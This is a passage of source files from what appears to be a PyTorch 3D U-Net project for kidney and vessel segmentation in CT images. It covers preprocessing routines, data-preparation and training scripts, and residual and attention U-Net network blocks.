'number of images is not equal to number of labels.'
if data_range is None:
data_range = range(len(image_files))
for i in tqdm(data_range):
case = load_case(image_files[i], label_files[i])
case = orient_crop_case(case, air)
save_case(case, save_dir)
def resample_normalize_case(case, target_spacing, normalize_stats):
'''
Reasmple image and label to target spacing, than normalize the image ndarray.
Args:
image: Image ndarray.
meta: Meta info of this image ndarray.
target_spacing: Target spacing for resample.
normalize_stats: Intesity statstics dict used for normalize.
{
'mean':
'std':
'pct_00_5':
'pct_99_5':
}
Return:
image: cropped image ndarray
label: cropped label ndarray
meta: add more meta info to the dict:
resampled_shape: Recased ndarray shape.
resampled_spacing: Recased ndarray spacing.
Example:
case = resample_normalize_case(case,
target_spacing=(1,1,3),
normalize_stats={
'mean':100,
'std':50,
'pct_00_5':-1024
'pct_99_5':1024
})
'''
case = case.copy()
if not isinstance(normalize_stats, list):
normalize_stats = [normalize_stats]
# resample
scale = (np.array(get_spacing(case['affine'])) / np.array(target_spacing))
image_arr = rescale(case['image'], scale, multi_class=True)
# normalize
image_arr_list = []
image_per_c = split_dim(image_arr)
for c, s in enumerate(normalize_stats):
mean = s['mean']
std = s['std']
pct_00_5 = s['pct_00_5']
pct_99_5 = s['pct_99_5']
cliped = np.clip(image_per_c[c], pct_00_5, pct_99_5)
image_arr_list.append((cliped-mean)/(std+1e-8))
case['image'] = np.stack(image_arr_list, axis=-1)
if 'label' in case:
case['label'] = rescale(case['label'], scale, is_label=True)
case['affine'] = apply_scale(case['affine'], 1 / scale)
return case
def batch_resample_normalize_case(load_dir,
save_dir,
target_spacing,
normalize_stats,
data_range=None):
'''
Batch resample & normalize, than saved as new case file.
Adding following info to props file:
resampled_spacing: target spacing setting by arg: spacing
median_resampled_shape: median of shape after resample.
normalize_statstics: all statstics used for normalize (see below).
Args:
load_dir: Data loaded from folder path.
save_dir: Propressed data save folder path.
target_spacing: Target spacing for resample.
normalize_stats: Intesity statstics dict used for normalize.
{
'mean':
'std':
'pct_00_5':
'pct_99_5':
}
'''
load_dir = Path(load_dir)
cases = CaseDataset(load_dir)
if data_range is None:
data_range = range(len(cases))
for i in tqdm(data_range):
case = resample_normalize_case(cases[i], target_spacing, normalize_stats)
save_case(case, save_dir)
def analyze_cases(load_dir, props_file=None, data_range=None):
'''
Analyze all data in folder, calcate the modality statstics,
median of spacing and median of shape. than add these info into props file.
A modality statstics including below:
median: Median of data intesity in the modality (class).
mean: Mean of intesity in the modality (class).
std: Standard deviation of intesity in the modality (class).
min: Minimum of intesity in the modality (class).
max: Maximum of intesity in the modality (class).
pct_00_5: Percentile 00.5 of intesity in the modality (class).
pct_99_5: Percentile 99.5 of intesity in the modality (class).
Args:
load_dir: Data folder path.
props_file: Porps file path.
Return:
props: New generated props with original props from props file including:
median_spacing: median of spacing.
median_cropped_shape: median of shape.
modality_statstics: all modality statstics (see above).
'''
load_dir = Path(load_dir)
cases = CaseDataset(load_dir)
shapes = []
spacings = []
n_modality = cases[0]['image'].shape[-1]
modality_values = [[]*n_modality]
if data_range is None:
data_range = range(len(cases))
for i in tqdm(data_range):
case = cases[i]
shapes.append(case['image'].shape[:-1])
spacings.append(get_spacing(case['affine']))
label_mask = np.array(case['label'] > 0)
sub_images = split_dim(case['image'])
for c in range(n_modality):
voxels = sub_images[c][label_mask][::10]
modality_values[c].append(voxels)
modality_values = [np.concatenate(i) for i in modality_values]
spacings = np.array(spacings)
shapes = np.array(shapes)
modality_statstics = []
for c in range(n_modality):
modality_statstics.append({
'median': np.median(modality_values[c]).item(),
'mean': np.mean(modality_values[c]).item(),
'std': np.std(modality_values[c]).item(),
'min': np.min(modality_values[c]).item(),
'max': np.max(modality_values[c]).item(),
'pct_00_5': np.percentile(modality_values[c], 00.5).item(),
'pct_99_5': np.percentile(modality_values[c], 99.5).item()
})
new_props = {
'max_spacing': np.max(spacings, axis=0).tolist(),
'max_shape': np.max(shapes, axis=0).tolist(),
'min_spacing': np.min(spacings, axis=0).tolist(),
'min_shape': np.min(shapes, axis=0).tolist(),
'mean_spacing': np.mean(spacings, axis=0).tolist(),
'mean_shape': np.mean(shapes, axis=0).tolist(),
'median_spacing': np.median(spacings, axis=0).tolist(),
'median_shape': np.median(shapes, axis=0).tolist(),
'modality_statstics': modality_statstics,
}
if props_file is not None:
props_file = Path(props_file)
props = json_load(str(props_file))
props = {**props, **new_props}
json_save(str(props_file), props)
return new_props
def analyze_raw_cases(image_dir, label_dir, props_file=None, data_range=None):
image_dir = Path(image_dir)
label_dir = Path(label_dir)
image_files = [path for path in sorted(image_dir.iterdir()) if path.is_file()]
label_files = [path for path in sorted(label_dir.iterdir()) if path.is_file()]
assert len(image_files) == len(label_files),\
'number of images is not equal to number of labels.'
shapes = []
spacings = []
modality_values = []
if data_range is None:
data_range = range(len(image_files))
for i in tqdm(data_range):
case = load_case(image_files[i], label_files[i])
shapes.append(case['image'].shape)
spacings.append(get_spacing(case['affine']))
label_mask = np.array(case['label'] > 0)
voxels = case['image'][label_mask][::10]
modality_values.append(voxels)
modality_values = np.concatenate(modality_values)
spacings = np.array(spacings)
shapes = np.array(shapes)
modality_statstics = {
'median': np.median(modality_values).item(),
'mean': np.mean(modality_values).item(),
'std': np.std(modality_values).item(),
'min': np.min(modality_values).item(),
'max': np.max(modality_values).item(),
'pct_00_5': np.percentile(modality_values, 00.5).item(),
'pct_99_5': np.percentile(modality_values, 99.5).item()
}
new_props = {
'max_spacing': np.max(spacings, axis=0).tolist(),
'max_shape': np.max(shapes, axis=0).tolist(),
'min_spacing': np.min(spacings, axis=0).tolist(),
'min_shape': np.min(shapes, axis=0).tolist(),
'mean_spacing': np.mean(spacings, axis=0).tolist(),
'mean_shape': np.mean(shapes, axis=0).tolist(),
'median_spacing': np.median(spacings, axis=0).tolist(),
'median_shape': np.median(shapes, axis=0).tolist(),
'modality_statstics': modality_statstics,
}
if props_file is not None:
props_file = Path(props_file)
props = json_load(str(props_file))
props = {**props, **new_props}
json_save(str(props_file), props)
return new_props
def regions_crop_case(case, threshold=0, padding=20, based_on='label'):
if based_on == 'label':
based = case['label'] > 0
elif based_on == 'pred':
based = case['pred'] > 0
based = remove_small_region(based, threshold)
labels, nb_labels = ndi.label(based)
objects = ndi.find_objects(labels)
regions = []
padding = np.round(padding / np.array(get_spacing(case['affine']))).astype(np.int)
for i, slices in enumerate(objects):
region_bbox = np.array([[slices[0].start-padding[0], slices[0].stop+padding[0]],
[slices[1].start-padding[1], slices[1].stop+padding[1]],
[slices[2].start-padding[2], slices[2].stop+padding[2]]])
region_bbox_ = np.concatenate([region_bbox, [[0, case['image'].shape[-1]]]])
offset = region_bbox[:, 0] * get_spacing(case['affine'])
# crop
region = {'case_id': '%s_%03d' % (case['case_id'], i),
'affine': apply_translate(case['affine'], offset),
'bbox': region_bbox,
'image': crop_pad_to_bbox(case['image'], region_bbox_)}
if 'label'in case:
region['label'] = crop_pad_to_bbox(case['label'], region_bbox)
regions.append(region)
return regions
def batch_regions_crop_case(load_dir,
save_dir,
threshold=0,
padding=20,
pred_dir=None,
data_range=None):
load_dir = Path(load_dir)
cases = CaseDataset(load_dir)
if pred_dir is not None:
pred_dir = Path(pred_dir)
pred_files = sorted(list(pred_dir.glob('*.pred.nii.gz')))
if data_range is None:
if pred_dir is not None:
data_range = range(len(pred_files))
else:
data_range = range(len(cases))
for i in tqdm(data_range):
case = cases[i]
if pred_dir is not None:
based_on = 'pred'
pred_nib = nib.load(str(pred_files[i]))
case['pred'] = pred_nib.get_fdata().astype(np.int64)
else:
based_on = 'label'
regions = regions_crop_case(case,
threshold,
padding,
based_on)
for region in regions:
save_case(region, save_dir)
<file_sep>/nb_train_iib.py
# %%
from trainer import Trainer
from network import ResUnet3D, ResAttrUnet3D, ResAttrUnet3D2, ResAttrBNUnet3D
from loss import Dice, HybirdLoss, DiceLoss, FocalLoss
from data import CaseDataset
from torchvision.transforms import Compose
from transform import Crop, RandomCrop, ToTensor, CombineLabels, \
RandomBrightness, RandomContrast, RandomGamma, \
RandomRescale, RandomRescaleCrop, RandomMirror
from torch.optim import Adam
from torch.optim.lr_scheduler import ReduceLROnPlateau
from datetime import datetime
model = ResUnet3D(out_channels=3).cuda()
optimizer = Adam(model.parameters(), lr=1e-4)
loss = HybirdLoss(weight_v=[1, 148, 191], alpha=0.9, beta=0.1)
metrics = {'dsc': DiceLoss(weight_v=[1, 148, 191], alpha=0.9, beta=0.1),
'focal': FocalLoss(weight_v=[1, 148, 191]),
'a_dsc': Dice(weight_v=[0, 1, 0]),
'v_dsc': Dice(weight_v=[0, 0, 1])}
scheduler = ReduceLROnPlateau(optimizer, factor=0.2, patience=25)
dataset = CaseDataset('data/Task20_Kidney/vessel_region_norm')
patch_size = (128, 128, 128)
train_transform = Compose([
RandomRescaleCrop(0.1,
patch_size,
crop_mode='random'),
RandomMirror((0.5, 0.5, 0.5)),
RandomContrast(0.1),
RandomBrightness(0.1),
RandomGamma(0.1),
ToTensor()
])
valid_transform = Compose([
RandomCrop(patch_size),
ToTensor()
])
# ckpt = torch.load('logs/Task20_Kidney/av-loss-last.pt')
# model.load_state_dict(ckpt['model_state_dict'])
# optimizer.load_state_dict(ckpt['optimizer_state_dict'])
trainer = Trainer(
model=model,
optimizer=optimizer,
loss=loss,
metrics=metrics,
dataset=dataset,
scheduler=scheduler,
train_transform=train_transform,
valid_transform=valid_transform,
batch_size=2,
valid_split=0.0,
num_samples=200,
)
# %%
save_dir = "logs/DOC/iib-H-09-{}".format(datetime.now().strftime("%y%m%d%H%M"))
save_dir = 'logs/DOC/iib-H-09-2006150257'
trainer.load_checkpoint('logs/DOC/iib-H-09-2006150257-last.pt')
trainer.fit(
num_epochs=800,
use_amp=True,
save_dir=save_dir
)
# %%
<file_sep>/nb_train_KITS19.py
# %%
from trainer import Trainer
from network import ResUnet3D
from loss import DiceCoef, FocalDiceCoefLoss
from data import CaseDataset
from torchvision.transforms import Compose
from transform import Crop, RandomCrop, ToTensor, CombineLabels, \
RandomBrightness, RandomContrast, RandomGamma, \
RandomRescale, RandomRescaleCrop, RandomMirror
from torch.optim import Adam
from torch.optim.lr_scheduler import ReduceLROnPlateau
from datetime import datetime
import torch
model = ResUnet3D(out_channels=3).cuda()
optimizer = Adam(model.parameters(), lr=1e-4)
loss = FocalDiceCoefLoss(d_weight=[1, 10, 20])
metrics = {'kd_dsc': DiceCoef(weight=[0, 1, 0]),
'ca_dsc': DiceCoef(weight=[0, 0, 1])}
scheduler = ReduceLROnPlateau(optimizer, factor=0.2, patience=30)
dataset = CaseDataset('data/Task00_Kidney/region_norm')
patch_size = (128, 128, 128)
train_transform = Compose([
RandomRescaleCrop(0.1,
patch_size,
crop_mode='random',
enforce_label_indices=[1]),
RandomMirror((0.5, 0.5, 0.5)),
RandomContrast(0.1),
RandomBrightness(0.1),
RandomGamma(0.1),
ToTensor()
])
valid_transform = Compose([
RandomCrop(patch_size),
ToTensor()
])
trainer = Trainer(
model=model,
optimizer=optimizer,
loss=loss,
metrics=metrics,
dataset=dataset,
scheduler=scheduler,
train_transform=train_transform,
valid_transform=valid_transform,
batch_size=2,
valid_split=0
)
# %%
save_dir = "logs/Task00_Kidney/ca-{}".format(datetime.now().strftime("%y%m%d%H%M"))
save_dir = 'logs/Task00_Kidney/ca-2004080007'
trainer.load_checkpoint('logs/Task00_Kidney/ca-2004080007-last.pt')
trainer.fit(
num_epochs=800,
use_amp=True,
save_dir=save_dir
)
<file_sep>/nb_prepare_iia.py
# %%
from data import batch_load_crop_case, analyze_cases, analyze_raw_cases,\
batch_resample_normalize_case, batch_regions_crop_case, CaseDataset
from visualize import case_plt
image_dir = '/mnt/main/dataset/Task20_Kidney/imagesTr'
kidney_label_dir = '/mnt/main/dataset/Task20_Kidney/labelsTr_kidney'
kidney_crop_dir = 'data/Task20_Kidney/kidney_crop'
kidney_norm_dir = 'data/Task20_Kidney/kidney_norm'
kidney_region_crop_dir = 'data/Task20_Kidney/kidney_region_crop'
kidney_region_norm_dir = 'data/Task20_Kidney/kidney_region_norm'
normalize_stats = {'median': 125.0,
'mean': 118.8569564819336,
'std': 60.496273040771484,
'min': -189.0,
'max': 1075.0,
'pct_00_5': -28.0,
'pct_99_5': 255.0}
# %%
batch_load_crop_case(image_dir,
kidney_label_dir,
kidney_crop_dir)
# %%
batch_resample_normalize_case(kidney_crop_dir,
kidney_norm_dir,
(2.5, 2.5, 2),
normalize_stats)
# %%
batch_regions_crop_case(kidney_crop_dir,
kidney_region_crop_dir,
threshold=10000)
# %%
batch_resample_normalize_case(kidney_region_crop_dir,
kidney_region_norm_dir,
(0.7, 0.7, 1),
normalize_stats)
# %%
analyze_cases(kidney_crop_dir)
# %%
analyze_raw_cases(image_dir, kidney_label_dir)
# %%
<file_sep>/README.md
# 3D-UNet-Renal-Anatomy-Extraction
pytorch
<file_sep>/utils.py
import json
import numpy as np
def json_save(path, data):
with open(path, 'w') as f:
json.dump(data, f, indent=2)
def json_load(path):
with open(path, 'r') as f:
data = json.load(f)
return data
<file_sep>/nb_prepare_colon.py
# %%
from data import batch_load_crop_case, analyze_cases, analyze_raw_cases,\
batch_resample_normalize_case, batch_regions_crop_case, CaseDataset
from visualize import case_plt
image_dir = '/mnt/main/dataset/Task10_Colon/imagesTr'
label_dir = '/mnt/main/dataset/Task10_Colon/labelsTr'
crop_dir = 'data/Task10_Colon/crop'
norm_dir = 'data/Task10_Colon/norm'
normalize_stats = {
"mean": 100.23331451416016,
"std": 76.66192626953125,
"pct_00_5": -79.0,
"pct_99_5": 303.0
}
# %%
batch_load_crop_case(image_dir, label_dir, crop_dir, -200)
# %%
batch_resample_normalize_case(crop_dir,
norm_dir,
(2.4, 2.4, 3),
normalize_stats)
# %%
batch_regions_crop_case(crop_dir, region_crop_dir, threshold=10000)
# %%
batch_resample_normalize_case(region_crop_dir,
region_norm_dir,
(0.78125, 0.78125, 1),
normalize_stats)
# %%
analyze_cases(crop_dir)
# %%
analyze_raw_cases(image_dir, label_dir)
# %%
<file_sep>/nb_train_i.py
# %%
from trainer import Trainer
from network import ResUnet3D
from loss import DiceCoef, FocalDiceCoefLoss
from data import CaseDataset
from torchvision.transforms import Compose
from transform import Crop, RandomCrop, ToTensor, CombineLabels, \
RandomBrightness, RandomContrast, RandomGamma, \
RandomRescale, RandomRescaleCrop, RandomMirror
from torch.optim import Adam
from torch.optim.lr_scheduler import ReduceLROnPlateau
from datetime import datetime
import torch
model = ResUnet3D().cuda()
optimizer = Adam(model.parameters(), lr=1e-5)
loss = FocalDiceCoefLoss()
metrics = {'kd_dsc': Dice()}
scheduler = ReduceLROnPlateau(optimizer, factor=0.2, patience=60)
dataset = CaseDataset('data/Task00_Kidney/norm')
patch_size = (144, 144, 96)
train_transform = Compose([
RandomRescaleCrop(0.1,
patch_size,
crop_mode='random',
enforce_label_indices=[1]),
RandomMirror((0.2, 0, 0)),
RandomContrast(0.1),
RandomBrightness(0.1),
RandomGamma(0.1),
CombineLabels([1, 2], 3),
ToTensor()
])
valid_transform = Compose([
RandomCrop(patch_size),
CombineLabels([1, 2], 3),
ToTensor()
])
ckpt = torch.load('logs/Task00_Kidney/kd-2004052152-epoch=314.pt')
model.load_state_dict(ckpt['model_state_dict'])
optimizer.load_state_dict(ckpt['optimizer_state_dict'])
trainer = Trainer(
model=model,
optimizer=optimizer,
loss=loss,
metrics=metrics,
dataset=dataset,
scheduler=scheduler,
train_transform=train_transform,
valid_transform=valid_transform,
batch_size=2,
valid_split=0
)
# %%
save_dir = "logs/Task00_Kidney/kd-{}".format(datetime.now().strftime("%y%m%d%H%M"))
# save_dir = 'logs/Task00_Kidney/kd-2003240211'
# trainer.load_checkpoint('logs/Task00_Kidney/kd-2003240211-epoch=260.ckpt')
trainer.fit(
num_epochs=800,
use_amp=True,
save_dir=save_dir
)
# %%
<file_sep>/network.py
import torch
import torch.nn as nn
# import torch.nn.functional as F
class ResAttrUnet3D2(nn.Module):
def __init__(self,
in_channels=1,
out_channels=1):
super(ResAttrUnet3D2, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
def encode_kwargs_fn(level):
num_stacks = max(level, 1)
return {'num_stacks': num_stacks}
down_features = [[30, 30], [60, 60], [120, 120], [240, 240], [320, 320]]
up_features = [[320, 320], [240, 240], [120, 120], [60, 60], [30, 30]]
bottom_features = [[320, 320]]
paired_features = down_features + bottom_features + up_features
self.net = Unet(in_channels=in_channels,
out_channels=out_channels,
paired_features=paired_features,
pool_block=ResBlock,
pool_kwargs={'stride': 2},
up_kwargs={'attention': True},
encode_block=ResBlockStack,
encode_kwargs_fn=encode_kwargs_fn,
decode_block=ResBlock)
def forward(self, x):
return self.net(x)
class ResAttrBNUnet3D(nn.Module):
def __init__(self,
num_pool=4,
num_features=30,
in_channels=1,
out_channels=1):
super(ResAttrBNUnet3D, self).__init__()
self.num_pool = num_pool
self.num_features = num_features
self.in_channels = in_channels
self.out_channels = out_channels
def encode_kwargs_fn(level):
num_stacks = max(level, 1)
return {'num_stacks': num_stacks}
paired_features = generate_paired_features(num_pool, num_features)
self.net = Unet(in_channels=in_channels,
out_channels=out_channels,
paired_features=paired_features,
pool_block=ResBlock,
pool_kwargs={'stride': 2, 'norm_op': nn.BatchNorm3d},
up_kwargs={'attention': True, 'norm_op': nn.BatchNorm3d},
encode_block=ResBlockStack,
encode_kwargs={'norm_op': nn.BatchNorm3d},
encode_kwargs_fn=encode_kwargs_fn,
decode_block=ResBlock,
decode_kwargs={'norm_op': nn.BatchNorm3d})
def forward(self, x):
return self.net(x)
class ResAttrUnet3D(nn.Module):
def __init__(self,
num_pool=4,
num_features=30,
in_channels=1,
out_channels=1):
super(ResAttrUnet3D, self).__init__()
self.num_pool = num_pool
self.num_features = num_features
self.in_channels = in_channels
self.out_channels = out_channels
def encode_kwargs_fn(level):
num_stacks = max(level, 1)
return {'num_stacks': num_stacks}
paired_features = generate_paired_features(num_pool, num_features)
self.net = Unet(in_channels=in_channels,
out_channels=out_channels,
paired_features=paired_features,
pool_block=ResBlock,
pool_kwargs={'stride': 2},
up_kwargs={'attention': True},
encode_block=ResBlockStack,
encode_kwargs_fn=encode_kwargs_fn,
decode_block=ResBlock)
def forward(self, x):
return self.net(x)
class ResUnet3D(nn.Module):
def __init__(self,
num_pool=4,
num_features=30,
in_channels=1,
out_channels=1):
super(ResUnet3D, self).__init__()
self.num_pool = num_pool
self.num_features = num_features
self.in_channels = in_channels
self.out_channels = out_channels
def encode_kwargs_fn(level):
num_stacks = max(level, 1)
return {'num_stacks': num_stacks}
paired_features = generate_paired_features(num_pool, num_features)
self.net = Unet(in_channels=in_channels,
out_channels=out_channels,
paired_features=paired_features,
pool_block=ResBlock,
pool_kwargs={'stride': 2},
encode_block=ResBlockStack,
encode_kwargs_fn=encode_kwargs_fn,
decode_block=ResBlock)
def forward(self, x):
return self.net(x)
def generate_paired_features(num_pool, num_features):
down_features = [[num_features*(2**i), num_features*(2**i)]
for i in range(num_pool)]
up_features = [[num_features*(2**i), num_features*(2**i)]
for i in range(num_pool-1, -1, -1)]
bottom_features = [[num_features*(2**num_pool), num_features*(2**num_pool)]]
return down_features+bottom_features+up_features
def generate_paired_features2(num_pool, num_features):
down_features = [[num_features*(2**i), num_features*(2**(i+1))]
for i in range(num_pool)]
up_features = [[num_features*(2**i), num_features*(2**i)]
for i in range(num_pool-1, -1, -1)]
bottom_features = [[num_features*(2**num_pool), num_features*(2**num_pool)]]
return down_features+bottom_features+up_features
class ConvBlock(nn.Module):
def __init__(self,
in_channels,
out_channels,
conv_op=nn.Conv3d,
conv_kwargs={'kernel_size': 3, 'padding': 1},
dropout_op=nn.Dropout3d,
dropout_kwargs={'p': 0.5, 'inplace': True},
norm_op=nn.InstanceNorm3d,
norm_kwargs={},
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(ConvBlock, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.conv = conv_op(in_channels, out_channels, **conv_kwargs)
if dropout_op:
self.dropout = dropout_op(**dropout_kwargs)
else:
self.dropout = None
self.norm = norm_op(out_channels, **norm_kwargs)
self.nonlin = nonlin_op(**nonlin_kwargs)
def forward(self, x):
x = self.conv(x)
if self.dropout:
x = self.dropout(x)
return self.nonlin(self.norm(x))
class ConvBlockStack(nn.Module):
def __init__(self,
in_channels,
out_channels,
num_stacks=2,
conv_op=nn.Conv3d,
conv_kwargs={'kernel_size': 3, 'padding': 1},
dropout_op=nn.Dropout3d,
dropout_kwargs={'p': 0.5, 'inplace': True},
norm_op=nn.InstanceNorm3d,
norm_kwargs={},
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(ConvBlockStack, self).__init__()
self.conv_blocks = nn.ModuleList(
[ConvBlock(in_channels=in_channels if i == 0 else out_channels,
out_channels=out_channels,
conv_op=conv_op, conv_kwargs=conv_kwargs,
dropout_op=dropout_op, dropout_kwargs=dropout_kwargs,
norm_op=norm_op, norm_kwargs=norm_kwargs,
nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs
)for i in range(num_stacks)]
)
def forward(self, x):
for conv in self.conv_blocks:
x = conv(x)
return x
class RecBlock(nn.Module):
"""
Recurrent Block for R2Unet_CNN
"""
def __init__(self,
out_channels, t=2,
conv_op=nn.Conv3d,
conv_kwargs={'kernel_size': 3, 'padding': 1},
dropout_op=nn.Dropout3d,
dropout_kwargs={'p': 0.5, 'inplace': True},
norm_op=nn.InstanceNorm3d,
norm_kwargs={},
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(RecBlock, self).__init__()
self.t = t
self.out_channels = out_channels
self.conv = ConvBlock(out_channels, out_channels,
conv_op=conv_op, conv_kwargs=conv_kwargs,
dropout_op=dropout_op, dropout_kwargs=dropout_kwargs,
norm_op=norm_op, norm_kwargs=norm_kwargs,
nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs
)
def forward(self, x):
out = self.conv(x)
for i in range(self.t):
out = self.conv(out + x)
return out
class ResRecBlock(nn.Module):
"""
Recurrent Residual Convolutional Block
"""
def __init__(self,
in_channels,
out_channels,
t=2,
conv_op=nn.Conv3d,
conv_kwargs={'kernel_size': 3, 'padding': 1},
dropout_op=nn.Dropout3d,
dropout_kwargs={'p': 0.5, 'inplace': True},
norm_op=nn.InstanceNorm3d,
norm_kwargs={},
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(ResRecBlock, self).__init__()
self.t = t
self.in_channels = in_channels
self.out_channels = out_channels
self.rcnn = nn.Sequential(
RecBlock(out_channels, t=t,
conv_op=conv_op, conv_kwargs=conv_kwargs,
dropout_op=dropout_op, dropout_kwargs=dropout_kwargs,
norm_op=norm_op, norm_kwargs=norm_kwargs,
nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs
),
RecBlock(out_channels, t=t,
conv_op=conv_op, conv_kwargs=conv_kwargs,
dropout_op=dropout_op, dropout_kwargs=dropout_kwargs,
norm_op=norm_op, norm_kwargs=norm_kwargs,
nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs
)
)
self.conv = conv_op(in_channels, out_channels, kernel_size=1)
def forward(self, x):
if self.in_channels != self.out_channels:
skip = self.conv(x)
else:
skip = x
x = self.rcnn(skip)
return x + skip
class ConvTrans3D(nn.Module):
def __init__(self,
in_channels,
out_channels,
norm_op=nn.InstanceNorm3d,
norm_kwargs={},
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(ConvTrans3D, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.up = nn.Sequential(
nn.ConvTranspose3d(in_channels, out_channels, kernel_size=3,
stride=2, padding=1),
nn.ConstantPad3d(padding=(0, 1, 0, 1, 0, 1), value=0),
norm_op(out_channels, **norm_kwargs),
nonlin_op(**nonlin_kwargs)
)
def forward(self, x):
return self.up(x)
class UpConcat(nn.Module):
def __init__(self,
in_channels,
out_channels,
conv_trans_op=ConvTrans3D,
attention=False,
att_conv_op=nn.Conv3d,
norm_op=nn.InstanceNorm3d,
norm_kwargs={},
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(UpConcat, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.attention = attention
self.conv_trans = conv_trans_op(in_channels, out_channels,
norm_op=norm_op, norm_kwargs=norm_kwargs,
nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs)
if attention:
self.att_gate = AttBlock(out_channels, conv_op=att_conv_op,
nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs)
def forward(self, x, skip):
x = self.conv_trans(x)
if self.attention:
skip = self.att_gate(skip, x)
return torch.cat((x, skip), dim=1)
class AttBlock(nn.Module):
def __init__(self,
out_channels,
conv_op=nn.Conv3d,
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(AttBlock, self).__init__()
self.conv = conv_op(out_channels, out_channels, kernel_size=1)
self.lrelu = nonlin_op(**nonlin_kwargs)
self.active = nn.Sigmoid()
def forward(self, x, gate):
x = self.conv(x)
g = self.conv(gate)
f = self.lrelu(x+g)
rate = self.active(self.conv(f))
return x * rate
class ResBlock(nn.Module):
def __init__(self,
in_channels,
out_channels,
stride=1,
conv_op=nn.Conv3d,
conv_kwargs={'kernel_size': 3, 'padding': 1},
dropout_op=nn.Dropout3d,
dropout_kwargs={'p': 0.5, 'inplace': True},
norm_op=nn.InstanceNorm3d,
norm_kwargs={},
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(ResBlock, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.stride = stride
self.conv1 = conv_op(in_channels, out_channels, stride=stride, **conv_kwargs)
self.conv2 = conv_op(out_channels, out_channels, **conv_kwargs)
if dropout_op:
self.dropout = dropout_op(**dropout_kwargs)
else:
self.dropout = None
self.norm = norm_op(out_channels, **norm_kwargs)
self.nonlin = nonlin_op(**nonlin_kwargs)
self.skip_conv = conv_op(in_channels, out_channels, kernel_size=1, stride=stride)
def forward(self, x):
if self.in_channels != self.out_channels or self.stride != 1:
skip = self.skip_conv(x)
else:
skip = x
x = self.conv1(x)
if self.dropout:
x = self.dropout(x)
x = self.nonlin(self.norm(x))
x = self.conv2(x)
return self.nonlin(self.norm(x)+skip)
class ResBlockStack(nn.Module):
def __init__(self,
in_channels,
out_channels,
stride=1,
num_stacks=2,
conv_op=nn.Conv3d,
conv_kwargs={'kernel_size': 3, 'padding': 1},
dropout_op=nn.Dropout3d,
dropout_kwargs={'p': 0.5, 'inplace': True},
norm_op=nn.InstanceNorm3d,
norm_kwargs={},
nonlin_op=nn.LeakyReLU,
nonlin_kwargs={'inplace': True}):
super(ResBlockStack, self).__init__()
self.res_blocks = nn.ModuleList(
[ResBlock(in_channels=in_channels if i == 0 else out_channels,
out_channels=out_channels,
stride=stride if i == 0 else 1,
conv_op=conv_op, conv_kwargs=conv_kwargs,
dropout_op=dropout_op, dropout_kwargs=dropout_kwargs,
norm_op=norm_op, norm_kwargs=norm_kwargs,
nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs)
for i in range(num_stacks)]
)
def forward(self, x):
for res in self.res_blocks:
x = res(x)
return x
class MaxPoolBlock(nn.Module):
def __init__(self,
in_channels,
out_channels,
pool_op=nn.MaxPool3d,
pool_kwargs={'kernel_size': 2, 'stride': 2}):
super(MaxPoolBlock, self).__init__()
self.pool = pool_op(**pool_kwargs)
def forward(self, x):
return self.pool(x)
def none_fn(level):
return {}
class Unet(nn.Module):
def __init__(self,
in_channels,
out_channels,
paired_features,
pool_block=MaxPoolBlock,
pool_kwargs={},
pool_kwargs_fn=none_fn,
up_block=UpConcat,
up_kwargs={},
up_kwargs_fn=none_fn,
encode_block=ConvBlockStack,
encode_kwargs={},
encode_kwargs_fn=none_fn,
decode_block=ConvBlockStack,
decode_kwargs={},
decode_kwargs_fn=none_fn,
conv_op=nn.Conv3d):
super(Unet, self).__init__()
num_pairs = len(paired_features)
assert (num_pairs % 2) == 1, 'Number of paired features must be odd number.'
self.num_pool = num_pairs // 2
assert self.num_pool > 0, 'At least one pool.'
pool_blocks_list = []
up_blocks_list = []
encode_blocks_list = []
decode_blocks_list = []
for i in range(self.num_pool):
pool_kwargs_fns = pool_kwargs_fn(i)
up_kwargs_fns = up_kwargs_fn(i)
encode_kwargs_fns = encode_kwargs_fn(i)
decode_kwargs_fns = decode_kwargs_fn(i)
pool_blocks_list.append(
pool_block(paired_features[i][1],
paired_features[i+1][0],
** pool_kwargs_fns,
** pool_kwargs))
up_blocks_list.append(
up_block(paired_features[num_pairs-i-2][1],
paired_features[num_pairs-i-1][0],
** up_kwargs_fns,
** up_kwargs))
encode_blocks_list.append(
encode_block(paired_features[i][0],
paired_features[i][1],
** encode_kwargs_fns,
** encode_kwargs))
decode_blocks_list.append(
decode_block(paired_features[num_pairs-i-1][0]+paired_features[i][1],
paired_features[num_pairs-i-1][1],
** decode_kwargs_fns,
** decode_kwargs))
encode_kwargs_fns = encode_kwargs_fn(self.num_pool)
encode_blocks_list.append(
encode_block(paired_features[self.num_pool][0],
paired_features[self.num_pool][1],
** encode_kwargs_fns,
** encode_kwargs))
self.pool_blocks = nn.ModuleList(pool_blocks_list)
self.up_blocks = nn.ModuleList(up_blocks_list)
self.encode_blocks = nn.ModuleList(encode_blocks_list)
self.decode_blocks = nn.ModuleList(decode_blocks_list)
self.conv = conv_op(in_channels,
paired_features[0][0],
kernel_size=3,
padding=1)
self.fc = conv_op(paired_features[num_pairs-1][1],
out_channels,
kernel_size=1)
def forward(self, x):
x = self.conv(x)
skip_layers = []
for i in range(self.num_pool):
x = self.encode_blocks[i](x)
skip_layers.append(x)
x = self.pool_blocks[i](x)
x = self.encode_blocks[-1](x)
